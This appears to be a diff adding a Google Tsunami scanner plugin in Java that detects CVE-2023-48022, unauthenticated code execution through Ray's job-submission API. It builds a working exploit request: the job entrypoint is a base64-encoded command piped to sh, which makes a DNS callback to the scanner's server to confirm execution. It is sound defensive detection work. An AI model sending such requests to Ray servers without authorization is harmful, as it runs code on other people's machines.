|
| 1 | +/* |
| 2 | + * Copyright 2024 Google LLC |
| 3 | + * |
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); |
| 5 | + * you may not use this file except in compliance with the License. |
| 6 | + * You may obtain a copy of the License at |
| 7 | + * |
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 |
| 9 | + * |
| 10 | + * Unless required by applicable law or agreed to in writing, software |
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, |
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 13 | + * See the License for the specific language governing permissions and |
| 14 | + * limitations under the License. |
| 15 | + */ |
| 16 | +package com.google.tsunami.plugins.cve202348022; |
| 17 | + |
| 18 | +import static com.google.common.base.Preconditions.checkNotNull; |
| 19 | +import static com.google.common.collect.ImmutableList.toImmutableList; |
| 20 | +import static java.nio.charset.StandardCharsets.UTF_8; |
| 21 | + |
| 22 | +import com.google.common.collect.ImmutableList; |
| 23 | +import com.google.common.flogger.GoogleLogger; |
| 24 | +import com.google.common.io.BaseEncoding; |
| 25 | +import com.google.protobuf.ByteString; |
| 26 | +import com.google.protobuf.util.Timestamps; |
| 27 | +import com.google.tsunami.common.data.NetworkServiceUtils; |
| 28 | +import com.google.tsunami.common.net.http.HttpClient; |
| 29 | +import com.google.tsunami.common.net.http.HttpHeaders; |
| 30 | +import com.google.tsunami.common.net.http.HttpRequest; |
| 31 | +import com.google.tsunami.common.time.UtcClock; |
| 32 | +import com.google.tsunami.plugin.PluginType; |
| 33 | +import com.google.tsunami.plugin.VulnDetector; |
| 34 | +import com.google.tsunami.plugin.annotations.ForWebService; |
| 35 | +import com.google.tsunami.plugin.annotations.PluginInfo; |
| 36 | +import com.google.tsunami.plugin.payload.Payload; |
| 37 | +import com.google.tsunami.plugin.payload.PayloadGenerator; |
| 38 | +import com.google.tsunami.proto.DetectionReport; |
| 39 | +import com.google.tsunami.proto.DetectionReportList; |
| 40 | +import com.google.tsunami.proto.DetectionStatus; |
| 41 | +import com.google.tsunami.proto.NetworkService; |
| 42 | +import com.google.tsunami.proto.PayloadGeneratorConfig; |
| 43 | +import com.google.tsunami.proto.Severity; |
| 44 | +import com.google.tsunami.proto.TargetInfo; |
| 45 | +import com.google.tsunami.proto.Vulnerability; |
| 46 | +import com.google.tsunami.proto.VulnerabilityId; |
| 47 | +import java.io.IOException; |
| 48 | +import java.time.Clock; |
| 49 | +import java.time.Instant; |
| 50 | +import javax.inject.Inject; |
| 51 | + |
| 52 | +/** A VulnDetector plugin for CVE 202348022. */ |
| 53 | +@PluginInfo( |
| 54 | + type = PluginType.VULN_DETECTION, |
| 55 | + name = "CVE-2023-48022 Detector", |
| 56 | + version = "0.1", |
| 57 | + description = "This detector checks for occurrences of CVE-2023-48022 in ray installations.", |
| 58 | + author = "Marius Steffens ([email protected])", |
| 59 | + bootstrapModule = Cve202348022DetectorModule.class) |
| 60 | +@ForWebService |
| 61 | +public final class Cve202348022Detector implements VulnDetector { |
| 62 | + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); |
| 63 | + |
| 64 | + private final Clock utcClock; |
| 65 | + private final HttpClient httpClient; |
| 66 | + private final PayloadGenerator payloadGenerator; |
| 67 | + |
| 68 | + @Inject |
| 69 | + Cve202348022Detector( |
| 70 | + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { |
| 71 | + this.utcClock = checkNotNull(utcClock); |
| 72 | + this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); |
| 73 | + this.payloadGenerator = checkNotNull(payloadGenerator); |
| 74 | + } |
| 75 | + |
| 76 | + @Override |
| 77 | + public DetectionReportList detect( |
| 78 | + TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { |
| 79 | + return DetectionReportList.newBuilder() |
| 80 | + .addAllDetectionReports( |
| 81 | + matchedServices.stream() |
| 82 | + .filter(this::isServiceVulnerable) |
| 83 | + .map(networkService -> buildDetectionReport(targetInfo, networkService)) |
| 84 | + .collect(toImmutableList())) |
| 85 | + .build(); |
| 86 | + } |
| 87 | + |
| 88 | + private boolean isServiceVulnerable(NetworkService networkService) { |
| 89 | + var payload = getTsunamiCallbackHttpPayload(); |
| 90 | + |
| 91 | + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { |
| 92 | + logger.atWarning().log( |
| 93 | + "Tsunami callback server is not setup for this environment, cannot run CVE-2023-48022" |
| 94 | + + " Detector."); |
| 95 | + return false; |
| 96 | + } |
| 97 | + |
| 98 | + var requestWithPayloadOldVersion = |
| 99 | + getExploitRequest(networkService, payload, "api/job_agent/jobs/"); |
| 100 | + var requestWithPayloadNewVersion = getExploitRequest(networkService, payload, "api/jobs/"); |
| 101 | + |
| 102 | + this.sendRequest(requestWithPayloadOldVersion, networkService); |
| 103 | + this.sendRequest(requestWithPayloadNewVersion, networkService); |
| 104 | + |
| 105 | + return payload.checkIfExecuted(); |
| 106 | + } |
| 107 | + |
| 108 | + private Payload getTsunamiCallbackHttpPayload() { |
| 109 | + return this.payloadGenerator.generate( |
| 110 | + PayloadGeneratorConfig.newBuilder() |
| 111 | + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) |
| 112 | + .setInterpretationEnvironment( |
| 113 | + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) |
| 114 | + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) |
| 115 | + .build()); |
| 116 | + } |
| 117 | + |
| 118 | + private HttpRequest getExploitRequest( |
| 119 | + NetworkService networkService, Payload payload, String apiEndpoint) { |
| 120 | + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); |
| 121 | + String body = String.format("{\"entrypoint\": \"%s\"}", getShellCodeForDnsCallback(payload)); |
| 122 | + return HttpRequest.post(rootUrl + apiEndpoint) |
| 123 | + .setHeaders(HttpHeaders.builder().addHeader("content-type", "application/json").build()) |
| 124 | + .setRequestBody(ByteString.copyFromUtf8(body)) |
| 125 | + .build(); |
| 126 | + } |
| 127 | + |
| 128 | + private String getShellCodeForDnsCallback(Payload payload) { |
| 129 | + String pythonDnsCallbackCode = |
| 130 | + String.format( |
| 131 | + "python3 -c 'import socket;socket.gethostbyname(\"%s\")'", payload.getPayload()); |
| 132 | + return String.format( |
| 133 | + "echo %s|base64 -d|sh", |
| 134 | + BaseEncoding.base64().encode(pythonDnsCallbackCode.getBytes(UTF_8))); |
| 135 | + } |
| 136 | + |
| 137 | + private void sendRequest(HttpRequest request, NetworkService networkService) { |
| 138 | + try { |
| 139 | + this.httpClient.send(request, networkService); |
| 140 | + } catch (IOException e) { |
| 141 | + logger.atWarning().withCause(e).log("Failed to send request."); |
| 142 | + } |
| 143 | + } |
| 144 | + |
| 145 | + private DetectionReport buildDetectionReport( |
| 146 | + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { |
| 147 | + return DetectionReport.newBuilder() |
| 148 | + .setTargetInfo(targetInfo) |
| 149 | + .setNetworkService(vulnerableNetworkService) |
| 150 | + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) |
| 151 | + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) |
| 152 | + .setVulnerability( |
| 153 | + Vulnerability.newBuilder() |
| 154 | + .setMainId( |
| 155 | + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-48022")) |
| 156 | + .setSeverity(Severity.CRITICAL) |
| 157 | + .setTitle("CVE-2023-48022") |
| 158 | + .setDescription( |
| 159 | + "An attacker can use the job upload functionality to execute arbitrary code on" |
| 160 | + + " the server hosting the ray application.") |
| 161 | + .setRecommendation( |
| 162 | + "There is no patch available as this is considered intended functionality." |
| 163 | + + " Restrict access to ray to be local only, and do not expose it to the" |
| 164 | + + " network.")) |
| 165 | + .build(); |
| 166 | + } |
| 167 | +} |
0 commit comments